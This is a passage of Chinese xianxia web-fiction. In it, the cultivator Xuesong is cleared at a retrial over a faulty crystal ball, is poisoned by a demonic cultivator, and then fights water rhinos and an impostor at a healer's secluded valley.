虽然他很清楚自己确实不是魔修,而且水晶球如果把他测试成魔修,一定有问题,但执法队一下就能抓到暗中使绊子的人,是不是太快了一点?
他们要是早知道为什么不阻止?他们要是没有提前知道,又怎么会发现这么快?因为观察力强?那他们为什么没有发现水晶球的问题?
宗主考虑了一下,执法队员说的情况确实有可能,与其接连使用水晶球,发现测试不成,不如给他们时间检查一下,反正只是延迟到三天后,总比误判要好,如果没有误判,三天之后斩立决,逃也是逃不掉的。
“那好,”宗主说,“我给你们三天时间去检查仓库里的水晶球是否有误,三天之后,审判重开,今日就这样,各位回去吧。”
人们起身离开,执法队的人把雪松带了回去,回到了雪松的房间里,关上门之后低声问他:“你不是说你一定不是魔修吗?为什么水晶球测出来的情况会是那样?”
“我也不清楚,”雪松摇了摇头,给他展示了一下自己的灵气,随后收回手,“如你所见,今天我确实不是魔修。”
执法队员听见他的今天限定词,有种被哽了一下的感觉,点了点头:“那你先休息,我去检查仓库的水晶球,之后再来找你。”
雪松看着他转身离开,忽然向他问:“你们抓到的那个人脖子上的魔修印记是假的吧?你们根本不知道水晶球为什么出问题?”
执法队员顿了顿,沉默之后道:“很抱歉,恕不奉告。”这话和承认差不多。
雪松听出来了,点了点头:“慢走。”
执法队员拉开门,迅速走了出去。
他很快赶到了仓库,其他人正在这里检查水晶球,他找到了队长,低声道:“他好像已经发现了。”
队长点了点头,面不改色道:“时间仓促,他发现也正常。”
“那我们还要继续检查吗?”队员又问。
“为什么不呢?”队长看着他:“我们接了命令自然是要做的,不做就是抗命,别人一眼就看得出来,你明白我的意思吗?”
队员垂着眼睛,想了想问:“那三天之后怎么办?”
“车到山前必有路。”队长十分松弛。
“为什么不问问他?也许他知道什么?”队员望着队长。
队长摇了摇头:“以防万一,还是不要,免得被人听去,更何况,他要是知道,之前就该说了。”
队员叹了一口气:“也是。”
“不过,”队员犹豫着又问,“您为什么?”
“我不相信仙尊的道侣会是魔修,他真要是死了,恐怕才是魔修想要见到的。”队长一脸平静回答。
队员点了点头:“我明白了。”
回春堂的医修过来敲门:“之前那个你们抓到的被魔修种下印记的人怎么样了?怎么不送到回春堂去治疗?”
“这点小事不劳你们费心,我已经替他处理过了,他正在休息,”队长面不改色走上去回答,“要带你们去看看吗?”
医修将信将疑:“那就看看吧,万一真有什么事,拖的时间长了可不好,请带路。”
队长点了点头,走在前面,把医修带到了一个休息的房间里,床上正躺着一个人,脖子上确实有淡淡的印记,但已经没有魔气了。
医修若有所思:“看起来是好了,虽然这种印记通常很容易被拔除,但是这么快就好得这么利索,看来你们经常处理这样的事?”
队长笑了笑:“出门在外,一不小心遇到了,总要知道怎么办,已经很熟了,知己知彼,百战不殆嘛。”
医修点了点头:“既然如此,没有什么可担心的,我就告辞了,有什么事再通知我?”
“好的,再见。”队长点了点头,把人送出门,转头回到了仓库。
与此同时,雪松忽然觉得,房间里一阵波动,定睛一看,原来是一个魔修,魔修皱着眉道:“什么烂地方!”
捂着鼻子的魔修转头一看,看见雪松,吃了一惊:“你居然还没死?看来法修嘴上说多么讨厌魔修,也不过是说说!暗地里徇私枉法都来!我就知道你们都是一群道貌岸然的东西!”
雪松从这个魔修身上察觉出了一丝熟悉的气息,忽然意识到,这个魔修和海底城市附近的药剂基地有关。
“你——”雪松正要问,你是不是从药剂基地来,话刚开了个头,忽然感到后背一痛,身体就软了下去,十分疑惑,扶住了桌子。
魔修一边往前走,一边冷冷笑道:“你以为我是随便来的吗?我当然知道这是法修的聚集地!魔修要来一定很危险!我在来之前就准备好了特制的毒药!”
他弯下腰,盯着雪松的脸,笑道:“这种药会让你浑身无力,灵力封存,暂时无法反抗任何事,感觉怎么样?”
“你提前吃了解药?”雪松看着他问。
“是啊,”魔修耸了耸肩,微笑道,“任人宰割的滋味不好受吧?”
“你只是来给我下毒?”雪松问。
“我还打算请你到我那儿去一趟,我的同伴们都迫不及待要见你,”魔修笑眯眯说,“毕竟你之前拿了我们的东西,哪能这么容易就走?”
他凑到雪松耳边问:“在众目睽睽下变成魔修的滋味怎么样?”
雪松恍然大悟:“原来是因为你们的解药?”
“不错,”魔修点了点头,十分自豪说,“我们的解药吃下去,不仅可以解毒,而且可以趁机魔气爆发,修为更进一步,是好东西呢!”
房间的门砰的一声被人从外面打开了。
第69章
“抓住他!”执法队长在门口一声令下, 队员从两边冲了进去,和魔修缠斗起来,魔修见势不妙, 立刻逃跑, 一下子不见了。
执法队长向雪松问:“你没事吧?”
雪松坐在桌子旁边回答:“他说他给我下了毒,我现在没什么力气, 不过暂时没有更大的影响。”
队长点了点头:“我去找回春堂的人。”
队长说着带着队员走了出去, 关上房间门之后,安排队员去回春堂, 自己去找了宗主,报告了有魔修出没的事。
宗主听后若有所思:“你是说, 有一个魔修突然出现在执法堂的房间里, 给被关起来的雪松下了毒, 那个魔修就是, 之前给人下印记的那个?你怎么确定的?”
执法队长回答:“一定是他,因为暂时没有第二个魔修出没在宗门, 他最有可能了, 更何况他一来就给人下毒,他之前顺手给人留下印记,也不是不合理。”
宗主慢慢吞吞点了点头:“事情我知道了,你走吧。”
队长试探着问:“那雪松三日后的重新审判,还有必要吗?”
“既然已经当众说了,肯定还是有必要的, ”宗主给出回答的同时安抚道,“只要他不是正儿八经的魔修,到时候当众还他清白,也比突然撤销了审判, 让人诟病要好!你告诉他,我相信他会理解的。”
执法队长想了想,点了点头,告了辞。
回春堂的人,收到执法队员的消息,赶到了执法堂,进入房间里看到了雪松,一检查,眉头皱了起来:“这种毒……”
队长正好回来,看对方还没走,听见似乎刚开了一个头,皱着眉头问:“能解吗?”
医修看了他一眼回答:“以我的能力是不行的,因为他中的毒不是我所知的任何一种,应该是魔修最新研发出来的。”
“那怎么办?”队长追问。
“只有去找我师父问一问了,不过我师父并不在宗门里,”回春堂的人皱着眉头说,“他正在深山谷隐居,平时都不见客,也不一定在家,要是见不到他,三日之后,这位同门身体里的毒会完全发作,整个人会化为一滩脓水。”
“这可糟了,”队长吃了一惊说,“宗主不打算改变主意,三日后审判还是要进行,那审判之后只有一日去深山谷找人,否则,就会变为脓水?时间是不是太紧了一些?”
“我这里有一颗药丸,可以暂时抑制毒性的发作,”回春堂的人想了想,觉得确实有些着急,对雪松说,“你拿去吃了吧,可以多出两日来,到时候,审判结束也还有三天可以去找人,就不那么急了。”
雪松接过药丸,道了谢,吃了下去,感到一阵头晕目眩,眼前一黑,就睡着了。
执法队长见此情形,下意识把武器架在了回春堂的人的脖子上。
回春堂的人收回手,向执法队的人解释说:“那个药丸没有毒,只是稍微有一点副作用,副作用就是会使人暂时昏迷,不过三日后审判,他一定能醒过来的!不会影响的!”
执法队长听此解释,勉强相信,才让他走了。
三日之后,审判重新开始。
雪松再次来到了审判场,宗主和其他长老和上次一样,坐在最上方和两边,其他人坐在下面和后面,宗主宣布拿水晶球来。
水晶球送到了雪松手底下,雪松把手放了上去,水晶球检测出的结果,显示雪松并不是魔修,众人都松了一口气。
正当所有人都以为事情就此了结,人群中,突然有一个人站了起来,大声喊道:“不对!那是一个坏水晶球!”
众人闻声看去,是一个普通弟子,瞪着眼睛,伸着手指着水晶球,十分兴奋似的大喊:“我看见了!那上面有裂痕!这是作弊!他一定是魔修!否则没必要这么干!”
众人猛然一惊。
执法队长上前检查,果然有一条裂痕,脸色立刻冷了下来,向队员问:“谁拿来的?怎么没检查?不知道破损就不能拿来吗?”
一个执法队员弱弱回答:“是我拿来的,我检查的时候,没发现裂痕。”
“这么明显的裂痕,你看不见?”执法队长皱着眉头,勃然大怒。
执法队员无言以对,只好低着头沉默,一副认错的样子,但回忆之前检查水晶球的时候,那个水晶球确实没有破损,实在百思不得其解,又委屈又无可奈何,算自己倒霉。
执法队长问完之后觉得事情有蹊跷,掏出了仓库的回溯琉璃镜,把队员挑选水晶球的画面翻出来一看,当时的水晶球确实完好无损,再仔细一看,原来水晶球上有一道蒙蔽的法术。
执法队长一言不发,冷着脸把回溯琉璃镜呈现的画面往更早的时间调整,人群中忽然有一个弟子,浑身颤抖着站起来,喊道:“不用找了!之前我负责清理水晶球,擦拭的时候不小心掉在地上摔裂了一道痕迹,我怕被人发现,用法术遮掩了一下,只要没有人使用,就很安全,但是我没想到这个水晶球被挑出来了!是我的错!我不是故意的!请原谅我!”
这个弟子正好是第一个站出来喊水晶球有裂痕的那个弟子的兄弟,对面十分不可置信,瞪着眼睛喊道:“你为什么这么干?”
“我都说了不是故意的!那是个意外!我不希望被别人发现!因为只要被人发现了,我要么买一个新的水晶球,要么赔钱,我哪有那么多钱?当然能省就省!你又不会给我送钱!”站出来承认自己弄坏了水晶球的那个弟子,听着对面的质问,似乎是承受不住,整张脸连同耳朵和脖子都开始发红,好像马上就要烧起来一样,颤抖着忍无可忍大喊。
“你还想要我给你钱?!”喊水晶球有裂缝的那个弟子瞪大了眼睛,倒吸一口凉气,满脸震惊,愤怒中露出讥讽的神色,张了张口,正要辱骂对方。
宗主皱着眉头,制止了他们:“既然水晶球有裂痕,那就换一个新的来,这次不要拿有裂痕的,闹剧该停止了!”
正要说话的那个弟子被宗主堵了一下,不得不保持沉默,只能狠狠瞪了一下对面的兄弟,觉得他丢了自己的脸。
打破水晶球的那个感受到他得理不饶人,不甘示弱,也瞪了他一下,觉得他多管闲事,把事情闹大,故意找自己的麻烦。
这两个在那里打眉眼官司,执法队队长领命,亲自和队员回到仓库,挑了一颗完好无损的水晶球,检查确认之后,没有破损,没有遮掩法术,没有魔族气息,才带了出来。
这一次,一切顺利进行,水晶球仍然显示,雪松不是一个魔修,执法队长和队员都松了一口气,看向宗主,等待审判结果。
宗主正要给出审判结果,天上忽然飞过来一片白云,白云上落下一个人,是个装扮彩绣辉煌的仙子,三步并作两步冲过来,站在空地上,对宗主喊:“请等一下!”
宗主只好把审判结束的话吞回去,皱着眉头问:“什么事?”
那仙子一脸义愤填膺说:“不管这个弟子现在是不是魔修,有之前的录像在,他自己也承认,他至少有一段时间是魔修!那就应该按照对待魔修的办法处理!
怎么能当做不是魔修而轻易放过呢?这样不是轻纵了他?怎么对得起那些为了对抗魔修而死掉的人?”
说完,这仙子又十分愤恨,狠狠瞪了雪松一眼,好像恨不得现在就扑过来把他弄死一样。
执法队长对雪松低声道:“这个凌霄仙子,曾经有个姐姐,和魔修私奔被杀了,从那以后,就十分憎恨魔修和魔修有关的一切。”
雪松点了点头。
“你说的那个录像,我也知道,”宗主面无表情,十分平静,“他那个时候强行转化成为魔修是无奈之举,没有害人,不能算数的,否则,难道让他等死吗?”
“那也不能这样就放过了他!”仙子跺了跺脚喊道:“从来没有魔修还能转化成法修的先例!谁知道他是不是伪装的?也许他现在根本还是魔修!没有变回来!”
“刚才已经测试过了,他现在确实不是魔修。”宗主摇了摇头,又顿了顿:“不过,你说的对,从来没有成为了魔修,还能轻而易举变回来的,我也很好奇,究竟是怎么回事。”
他直勾勾看着雪松问:“你能告诉我们吗?”
看来今天不说得稍微清楚一点,是不太可能走了。
雪松垂着眼睛开始考虑,是要说自己天赋异禀,身体特殊,还是曾经得到过仙尊的教导和指点,所以与众不同。
话还没有想好,人群里忽然又走出来一个人,扬声道:“不用逼他了!我来替他说吧!”
执法队长在雪松耳边低声道:“这位是青云道人,和凌霄仙子一向不对付的,不过,传闻说,他见过仙尊,也不知是不是真的。”
第70章
果然, 凌霄仙子一看见青云道人就皱起眉头,脸色铁青,露出厌恶的神色, 十分不悦, 问道:“你又跑出来做什么?这和你有什么关系?你是不是也勾结魔修了?否则你怎么对这些事情这么清楚?!”
青云道人微微一笑,摇了摇头说:“诸位有所不知!”
他顿了顿, 神色带上了些许回忆:“当年, 我意外中了魔修的陷阱,险些变成魔修, 仙尊恰好正在附近,见我为难, 就伸出援手, 用一种我所不知道的办法, 把我从魔修变了回来。
我对仙尊十分感激, 又有些好奇,仙尊是怎么知道这种办法能够把修士从魔修变回来的, 就问了仙尊。”
宗主追问:“仙尊怎么说的?”
雪松倒吸一口凉气。他已经想起来当时的情形, 他当时接了系统的任务,任务是,对至少一个修士提起我有一个朋友。
这任务很简单,雪松当时正好在青云道人的面前,也就在青云道人询问是怎么知道办法的时候,顺口提起了我有一个朋友的事。
“仙尊说, 他有一个朋友,对怎么把人从魔修变回修士很感兴趣,前阵子有所突破,告诉了他, ”青云道人满脸感慨说,“我当时并没有见过仙尊提起的朋友,还以为只是托词罢了,现在看来,这个朋友是确有其人,就在现场!”
话说到这里,众人都明白过来,青云道长说这些是为了表示,他认为雪松就是仙尊提起的那个,对于怎么把魔修变回修士很感兴趣的朋友。
如果雪松真是当初仙尊提起的那个朋友,倒是可以解释,他知道怎么把魔修转化为修士,可是,仙尊和雪松的年纪对不上,无论如何,也不像是朋友。
凌霄仙子自然就此提出了质疑:“你怎么肯定这个被审判的人一定是仙尊的朋友,而不是偷学了仙尊朋友或者仙尊所知道的办法的人呢?
毕竟年纪差距这么大,就算曾经是朋友,也肯定死过一次,又怎么记得从前的事?不是偷学,很难解释!”
“我当初也向仙尊询问了那个朋友的事。”青云道人胸有成竹。
“不知您那位朋友是何方神圣,改日我也提礼登门拜谢,如何?”刚刚从魔修被转化回来的青云道人,一脸恭敬感激,向仙尊问。
“不必了,”仙尊面无表情回答,“他素来喜静,早早隐居,不打理这些凡尘俗事,你有事只管告诉我,我替你转告给他就是了。”
“没想到二位关系如此深厚?”青云道人眨巴眨巴眼睛,震惊而好奇。从来没听说过仙尊和什么人走得近。
“只是机缘巧合,对相同的事情感兴趣罢了,算不得多么深厚。”仙尊否认道。
青云道人若有所思。机缘巧合?怎么别人就没有这种机缘巧合?对相同的事情感兴趣?宗门里对修仙感兴趣的大有人在,也没看见仙尊因为和他们都对修仙感兴趣,就和他们做了朋友。算不得多么深厚?恐怕是托词!
仙尊是为了避免别人去打扰自己的朋友,影响到朋友安静隐居的生活才这样说的吧?都为对方考虑到这个份上,还能是关系一般的吗?一定是特别好的了!
“那不知他可否有什么大作,改日我去拜读一番,也算是尽了感激的心,不至于使明珠蒙尘?”青云道人试探着问。
仙尊听见他说的话,神色有些微妙:“他不爱留墨宝。”
废话,一个不存在的人怎么会写东西呢?!
“可是,能够使魔修转化回正常的修士的办法,是十分珍惜可贵的,”青云道人颇为可惜不解,“您不劝劝他?”
“既然是他想出来的办法,他想留就留,不想留就不留,”仙尊垂着眼睛说,“我无意干涉。”
青云道人一脸震惊。这么有用的东西,仙尊居然也真的能,顺着对方的意思,半个字都不留下来?
“更何况,”仙尊察觉出,他似乎不太相信,解释说,“这事非同小可,一旦成书,被魔族知道,可能会被报复,要是被同门知道,有可能疑心他与魔族勾结,日后的麻烦一定源源不断,他的隐居恐怕会泡汤,所以,我尊重他的意见。”
青云道人控制不住挑了挑眉:“原来如此。”考虑到这种程度,说是朋友,未免有些太体贴入微了吧?
他想了想,又忍不住抱着十分惋惜的看着珍贵之物逐渐消失的心情问:“那您和您的朋友逝世之后,这个办法,岂不是没人知道了?”
虽然这问题有点冒犯,但他想仙尊应该不会在乎。
仙尊脸上露出一种无可奈何的笑:“不用担心,我死以后,如果他还活着,他仍然知道,如果他和我一起死了,他的转世,会想起来的。毕竟,这本来就是他的东西。”
青云道人点了点头,突然意识到,正常情况,转世是不会记得前世的事,仙尊这么说,岂不是等于告诉他,仙尊会给自己的朋友下转世轮回咒?
转世轮回咒,顾名思义,是一种在转世轮回之后仍然有效的咒语。
这种东西,对于魔修而言,是折磨人的一种手段,因为他们可以使用这种咒语,让中了咒的人在转世轮回之后,仍然想起上辈子的痛苦往事,而无法解脱,被迫寻求死亡。
对于修士而言,这是一种糟糕概率大于好运的咒语,他们通常用这种东西来绑定深层关系,比如情人,比如师徒,比如朋友,比如联盟。
虽然大多数时候结果都不怎么样,但不妨碍他们乐此不疲,因为他们使用这种咒语,是希望关系更牢固,但效果往往向反方向狂奔,他们就总想赌自己是好的那一种。
仙尊给朋友下咒,朋友知道这回事吗?应该知道吧?毕竟,连不把发现的办法记录下来,仙尊都顺从了朋友的意见,没道理,这种事情不问一句,得不到同意就做了。
这么说,他们两个约好了?约定这种事情……更加不像朋友了喂!
话说到这里,审判场的众人回过味儿来,悄悄打量着雪松,他耳朵红了,他该不会真的记得上辈子的事吧?他在害羞吗?看起来有点像啊!
那他果然和仙尊有关系,而且是那么亲近的朋友关系?可如果是朋友,没必要害羞……难道说,他们不只是朋友关系?!
也对!仙尊对他那样百依百顺,要研究随他,不出书随他,要隐居随他,知道他喜欢安静,替他回绝客人,还给他下了转世轮回咒,不管怎么看都更像是,一对。
原来这就是道侣吗?!仙尊藏得好深啊!今天终于让他们发现了!果然只要活得足够久,什么都能看见!
“我说的够清楚了吧?”青云道人似笑非笑,看着凌霄仙子说:“仙尊和仙尊的朋友,年纪是对得上的,他们关于如何把自己从魔修逆转回正常情况这件事,早有研究,而且没有书面记录,也没有收徒,对这个办法进行传承,仙尊又给朋友下了转世轮回咒,那么,能够知道这个办法的,除了转世的仙尊的朋友,还能有谁呢?
只要是转世,年纪就对得上吧?一般人就算想偷学,既找不到书面记录,又找不到模仿对象,能怎么偷学呢?不如你告诉我?我倒想知道知道!”
凌霄仙子一时无言。
青云道人便向宗主问:“审判可以结束了吗?”
宗主点了点头:“既然如此,我宣布,今日审判现在结束,审判结果为,无罪释放!诸位可以离开了!”
人们一脸意犹未尽,站起来,一边偷偷瞄着雪松,一边窃窃私语,眯眼笑着,相互挤来挤去走掉了。
雪松隐约能听见某些比较近,而声音又稍微大一些的围观弟子在说:“没想到雪松和仙尊是道侣关系!我回去就要手搓他们的同人!改天找个机会,请他品鉴品鉴!想一想都一定很有意思,嚯嚯嚯!”
雪松头一次感觉到了被架在火上烤的滋味,实际上的脸红也并不是因为害羞,而是羞耻,因为不存在的朋友这种事情本来不应该被人发现,更何况是在大庭广众之下,被言之凿凿讲出来,他还不好反驳。
别人是来帮他的,他要是反驳了,岂不是把自己往火坑里推?虽然其实现在也差不多,但两害相较取其轻的道理,他还是知道的。
算了,这种事情也不是第一次,过两天也许大家都忘了,只要,没有新的相关事件发生,来刷新其他人的印象……应该不会有吧?
下了审判场,雪松一脸疲惫,正在执法堂的房间休息,回春堂的人来了,他们约好在这见面。
“跟我走吧,我带你到深山谷去找我师父,看看他对你中的毒,有什么办法。”回春堂的人用一种颇为敬佩而目光闪烁的表情,对雪松说。
雪松一看,就知道他一定也是听了审判场上的话,起身道:“走吧。”《 》
70-75
第71章
回春堂的人把雪松带到了深山谷的门口, 突然停了一下,雪松顺着他的目光一看,地面上是一片隐蔽的脚印。
脚印处, 原本应当茂盛的绿草蔫蔫的, 有些发黑,周围还溢出了汁液, 有一股腐烂的味道弥漫开来, 像是食腐生物刚刚从这里爬过。
“今天这里有客人?”雪松看向回春堂的人问。可是,看起来不像客人的脚印, 倒像是有什么东西偷偷进来了。
“如果是客人,”回春堂的人摇了摇头, “不应该走草地才对, 又不是没有别的路, 我不清楚, 我已经有一阵子没有和这里联系了。”
“那你现在联系试试怎么样?”雪松望了望头顶上那块高大的深山谷的匾额,感到迎面吹来了一阵风, 眯了眯眼睛问。
“我试试吧, ”回春堂的人皱着眉头点了点头,“但不一定成功。”
雪松点点头,在旁边百无聊赖转起圈来。
回春堂的人使用了联络术,可是,失败了,他还以为是太生疏了, 所以出了错,又重新试了一遍,还是不行。
“要不试试联络符咒?”雪松看他这个样子,又提出了新的建议。
回春堂的人点了点头, 掏出一张符咒来,念了咒语,喊了一声去,那符咒就燃起火来,飘飘忽忽在半空中飞,盘旋了一圈,向着深山谷里冲了进去。
正当他以为这一次就要成功的时候,只听嗖的一声,一团水光飞了过来,猛然间就把那燃着火的符咒扑灭了,嗤嗤两声,符咒被扑倒在地上,一点一点变成湿漉漉的灰烬,陷入绿油油的密密麻麻的草丛中,不见了。
这显然不是意外,回春堂的人皱着眉头,往前两步就要进去,毕竟现在这种情况,继续尝试联络已经没有意义了,不是联系不上,就是被强行打断,有什么可继续的呢?
这个时候,回春堂里面,走出来两只水犀牛,头上顶着粗大而尖锐的额角,通体有些发白,走出来的时候,身体表面的每一个褶子都像呼吸一样,扩张再收缩,四条腿像柱子一样,踩踏着草坪,地面都似乎随着犀牛的行动而微微晃动。
那犀牛出来之后,拦在了门口,盯着门外的两个人,四只眼睛看起来十分凶狠,面颊上闪过一丝红光,气势汹汹,来者不善,动了动蹄子,深吸一口气,冲着他们发出了饱含威胁和警告意味的,满是气味的鸣叫声。
空气中多了一股湿润的水的味道,避无可避的水气里,又夹杂着犀牛身上那种泥土和践踏碎了的草坪的汁水的味道,泥土是绵软的,汁水是新鲜的,泥土下的东西是腐烂的,混合在一起,莫名有股腥臭味,使人闻之作呕。
“这是谁养的?”雪松看了看犀牛,犀牛不认识他情有可原,毕竟他从前应当没来过,他也不知道这里有什么,但连回春堂的人也不认识,倒不是很像深山谷里养的东西了。
“我不知道,”回春堂的人一脸严肃,摇了摇头,目不转睛盯着面前不远处已经有些躁动的犀牛,皱着眉头对雪松说,“但应该不是我师父或者童子们养的东西,因为我之前在这的时候压根没见过这犀牛,走了之后也没听说过这里,忽然就养起这个了!”
也许是外来人带的!如果是客人带了自己养的东西过来,就算不牵绳子,也应该带个项圈才对,再不然留个人看着呢?可这附近根本没看见人,半个人影都没有,不像是客人的。
那看来是要准备战斗了。
雪松点了点头。
对面的犀牛猛然叫了一声,一下子撒开蹄子冲了过来,一只犀牛找准一个人,低下头去,用尖尖的角顶了过来,如果真被顶到,恐怕,被顶到的人身体里可以出现一个对穿的洞,那不是小伤啊。
雪松连忙闪避,犀牛转头又向他冲了过来,他知道这是避无可避的意思,如果不尽快将这犀牛弄死或者重伤,又或者打倒,他就得一直在深山谷的门口跟这东西周旋了,他可没那么多时间。
雪松深吸一口气停了下来,握着自己的剑,一剑斩了过去,无形之中的剑意,陡然间在半空中出现了实体,密密麻麻的雪白色的剑光,眨眼间向着犀牛冲了过去,犀牛瞪大眼睛,惨叫了一声,转头就要跑,这完全是直觉,实际上就算能思考,这也是必须跑的时候了。
不过,犀牛毕竟身体庞大,行动起来,比瘦小的生物稍稍迟钝,哪怕跑的速度并不慢,那巨大的身体也不是轻易可以藏起来的。
只是一瞬间的事,逃跑的犀牛被身后追上来的剑光闪瞎了眼睛,与此同时,浑身上下扎满了飞扑过来的剑意,简直是变成了刺猬,扑通一声倒了下去,扎在犀牛身上的剑意缓缓消散了,那些深可见骨的伤痕才缓缓流出血来,把洞填满了。
旁边那只犀牛本来还在和回春堂的人缠斗,见此情形,大惊失色,叫也顾不上叫,回头狂奔而去,一下子不见了。
漫天的剑意虽然消散了,空气中却仍然保留着那种凌厉的寒意,呼吸间都似乎有刀在切割皮肤,肺里好像扎满了玻璃纤维,鼻子里更是全都吸进了碎掉的玻璃。
回春堂的人愣了一下,倒吸一口凉气,捂住了胸口,脸色逐渐惨白,不由自主咳嗽起来,一种下意识的寻求安全的身体的反应。
雪松站在远处看着他,语气十分平和,对他说:“放轻松,深呼吸,不要紧张,你应该没有受伤?”
他听见这话,颤抖的身体才逐渐恢复平静,脸上渐渐红润起来,点了点头,直起身道:“我好些了,我们现在继续往里走?我想知道里面究竟发生了什么。”
雪松点了点头:“走吧。”
回春堂的人带着雪松往里走了一段路,一边走一边顺手掏出符咒,又念动咒语,想要试试能不能联络,符咒飞了出去。
他正打算伸手阻止,却见那符咒落在了不远处的另外一个人的手上,愣了一下,定睛一看,惊声道:“明月童子?你在这儿?”
对面收起符咒,一脸你在说什么的表情,回答道:“我当然在这儿,我不在这应该在哪?你不是见过我吗?做什么大惊小怪?”
“这位是?”雪松靠近回春堂的人低声问。
“明月童子是我师父的座下童子,”回春堂的人目不转睛盯着对面的人,仍然不可置信,低声回答,“平日里负责迎来送往,所以我曾经见过一面,就在这深山谷里,这才认得他。”
回春堂的人皱起眉,顿了顿,很不可思议,喃喃道:“如果他在这儿,之前联络的术法怎么会不起效呢?我以为只有没人的时候才联系不上啊!还有符咒!
之前的不成,这次就成了,难道是因为距离太近,又同在深山谷的缘故?可我之前待在深山谷门口联络他们的时候,也是联络成了的呀!怎么不一样了呢?”
他看起来百思不得其解。
明月童子拢了拢袖子,一脸主人家的样子,打量了一番对自己而言十分陌生的雪松,向回春堂的人问:“你带客人来了?”
“是的,”回春堂的人被打断了思绪,连忙点了点头,回答道,“这位是我的同门,他中了毒,需要见师父,否则过了三日,就一命呜呼了!”
明月童子的脸上闪过一丝诡异的笑,点了点头:“原来如此。”
没等人细看,他转过头去,一边往前走,一边温和说:“你们来得很巧,师父正在待客,我带你们过去吧。”
回春堂的人倒不疑有他,点了点头跟了上去,一边走还一边招呼雪松,雪松跟了上去,听见他喃喃道:“师父居然正好在,这确实很巧,只是平日里,待客的时候从来不另外见人的呀?今天是心情特别好,还是,客人太熟了,所以不需要计较这么多呢?奇怪。”
雪松眨了眨眼睛,有一点想要问他,你有没有觉得哪里不对,但想了想,他认识这个明月童子,都没说什么,自己从来没有见过,也没有来过,对人不熟悉,也许是误判,还是再观察观察比较好,就没说话。
明月童子一边走一边问:“只有你们两个来吗?”
回春堂的人点了点头:“是啊,师父一向不喜欢被人打扰,我是知道的,所以没有他的允许,我不敢擅自带许多其他人来。”
明月童子低声笑道:“难为你还记得师父。”
回春堂的人打了个哆嗦,对雪松传音道:“这个人太奇怪了!明月童子从前是不爱说笑话的!他也不爱笑!”
雪松若有所思点了点头,向他传音问:“你觉得,面前这个人,是陌生人伪装来骗你的概率有多少?我觉得很大。”
回春堂的人想了想,咦了一声:“不提还不觉得,你这么一说,我们被骗的概率确实很大,那怎么办?”
“想个办法,”雪松低声答道,“把人控制住,找个偏僻地方好好问一问!也许能知道点什么。毕竟,这里暂时看不见其他人。”
回春堂的人点了点头,找了个机会,趁机偷袭,对面早有准备,猛然一跳,就躲开了,还露出惊愕的样子,好像完全不知道有这么一回事,一脸疑惑问:“你为什么做这事?你这是干什么!难道是被蛊惑了?我就知道你身边这个陌生人不是什么好东西!你从前都不带人回来的!”
回春堂的人愣了一下,被他信誓旦旦,说得几乎有些动摇,开始怀疑自己是否判断错误,雪松见此情形,不跟他们废话,一剑斩了过去。
对面吓得魂飞魄散,瞪大眼睛,转身就跑,仿佛知道这一剑落在自己身上的后果,雪松没有给他逃出去的机会,因为只是一眨眼,剑光打在对面那个人的身上,他就扑通一声晕过去了。
雪松立刻走上前去,把他提起来,对旁边呆住了的,回春堂的人说:“收拾一下痕迹,我看旁边有个小屋子,应该没有人,把他带进去,试试看能不能问出什么。”
回春堂的人点了点头,用法术掩盖了痕迹,和雪松一起把人挪进了旁边的房间,关上门之后,立刻就要开始审问。
可是还没有等开口,房间的屏风后面忽然传来咔嚓一声响,就好像有一个人躲在那里,不小心踩碎了一个掉在地上的东西。
回春堂的人猛然一惊,把地上的人丢给雪松,立刻冲向了屏风后面,想要查看一下情况,雪松看管着地上的人,也探头往屏风后面看去。
屏风后面空无一人,回春堂的人愣了一下,皱起眉头更加警惕,弯腰仔细查看起来,却忽然发现有一个黑漆漆的东西从眼前掠过。
他一脚踩了过去,感觉鞋底踩中了一个毛茸茸软绵绵热乎乎,而且还挺大的,正在蠕动的东西,心脏剧烈跳动起来。
一阵吱吱吱的叫声,从他的鞋底响了起来,他把脚微微挪了挪,弯下腰去,低头仔细一看,猛然间发现,原来是一只漆黑的大老鼠,有半条手臂那么长。
他愣了一下,一时不知该庆幸这里面没有人,还是庆幸自己没有被这只老鼠咬到,那只老鼠见他愣住,使劲吱吱叫了起来。
他连忙看向窗外,窗户是关着的,不过外面没有人,他松了一口气,立刻一脚下去,把这只老鼠踩晕了。
这只老鼠实在太大了,他想要一脚把这只老鼠踩死,实在有点难度,但要是对一只老鼠用法术,又多少有点小题大做。
这毕竟看起来只是一只普通的老鼠,而不是老鼠妖怪什么的。
但是,回春堂的人往身上摸了摸,他没有随身携带绳索之类的东西的习惯,更别提老鼠药或者粘鼠板了,老鼠笼比那些东西还大,他也没有。
于是他掏出一个药瓶,打开闻了闻,确认这个瓶子里装的是对小型哺乳动物的毒药,药品中的毒素分量正好匹配这只老鼠。
他把药倒出来,戴上了手套,试图强行把药丸塞进老鼠的嘴里,就算毒不死这只老鼠,也能让这只老鼠一时半会儿起不来,不能发出声音,不能到处乱窜,也不能引起其他人的注意,总归对于他和雪松而言是好事。
可是,就在这个时候,他忽然察觉到,这老鼠似乎冥冥之中和什么人有关系,而且那个人正在房间里,他猛然一惊,立刻直起身来。
不知道是不是直起身的速度太快了,他感到头晕目眩,紧接着眼前一黑,砰的一声就倒在了地上,晕了过去,连一点多余的挣扎都没有。
雪松见此情形,吃了一惊,立刻提起警惕,用法术搜寻起整个房屋,试图找到藏起来的那个人。
如果他没猜错,回春堂的人不应该只是直起身就晕倒,这看起来像是中了眩晕术,如果是中了毒,那就是因为接触了那只老鼠,否则很难解释,为什么他站在旁边,一点事情都没有,毕竟,他也在这个房间。
这个时候,雪松察觉到了地上那只昏迷的老鼠身上传出来的不同寻常的波动,三步并作两步走过去查看,发现这只老鼠,似乎是跟人签了主仆契约的灵宠,惊了一惊。
没看出来,这居然是灵宠?谁会收一只老鼠当灵宠?还是这么灰扑扑!这么大一只!这看起来哪里像宠物了?!
不对,重点不在于这东西是不是宠物,雪松往周围看了看,没看见房间里有其他人出现,皱着眉头重新检查了一下那只老鼠。
这东西身上确实有契约,顺着那契约的波动,雪松使用术法寻找起来,契约的主人应该在——
地板底下?!
雪松愣了一下,那契约主人似乎察觉到自己已经被发现了,立刻开始逃跑,地板都轻微震动起来,看来是完全不掩饰了。
雪松毫不犹豫一跺脚,使用了震地术,地底下,契约主人的逃跑路线被迫中断,雪松又使用了抓地咒,找到了契约主人的气息,狠狠一抓,把人从地底下拔萝卜似的狠狠拔了出来,甚至还带着点泥巴,看起来更像一个人形大萝卜了。
